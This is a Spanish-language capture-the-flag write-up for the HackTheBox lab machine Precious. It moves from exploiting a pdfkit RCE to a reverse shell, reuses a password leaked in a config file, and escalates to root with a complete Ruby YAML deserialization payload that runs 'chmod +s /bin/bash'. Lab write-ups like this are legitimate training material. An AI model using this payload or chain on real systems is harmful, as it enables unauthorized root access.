HackTheBox - Precious
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: RCE pdfkit 0.8.6 (CVE-2022-25765), Information Leakage, Leak Information, YAML Deserialization
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. La página web transforma html a pdf pasándole una URL. Al interceptar la solicitud con Burp Suite veremos que software se emplea para esto
Buscamos por algún exploit para esta versión de pdfkit 0.8.6. Aquí nos explican los pasos para explotar un RCE
d. Nos enviamos una reverse shell
Escalada de Privilegios 💹
a. Al explorar en el directorio del usuario ruby conseguiremos un fichero de configuración el cual contiene la credencial del usuario henry. Nos conectaremos por SSH
1
2
3
4
5
6
7
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
----------------------------------------------------------
❯ ssh henry@10.10.11.189
henry@10.10.11.189's password: Q3c1AqGHtoI0aXAYFH
bash-5.1$
b. Listamos nuestros privilegios a nivel de sudoers
1
2
3
bash-5.1$ sudo -l
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Si inspeccionamos el script update_dependencies.rb veremos que carga un fichero dependencies.yml del directorio actual
1 2 3
def list_from_file YAML.load(File.read("dependencies.yml")) end
Al buscar por una forma de escalar privilegios a través de un fichero yml nos encontramos con este post
c. Creamos un fichero dependencies.yml en nuestro directorio personal con el siguiente contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod +s /bin/bash"
method_id: :resolve
Si ejecutamos
/opt/update_dependencies.rb
mientras estamos en nuestro directorio, el script usará el fichero dependencies.yml previamente creado, ya que, no se especifica una ruta absoluta de este fichero.
Una vez ejecutemos el script, ya podremos acceder como root
1 2 3 4 5
bash-5.1$ sudo /usr/bin/ruby /opt/update_dependencies.rb <SNIP> bash-5.1$ bash -p bash-5.1# whoami root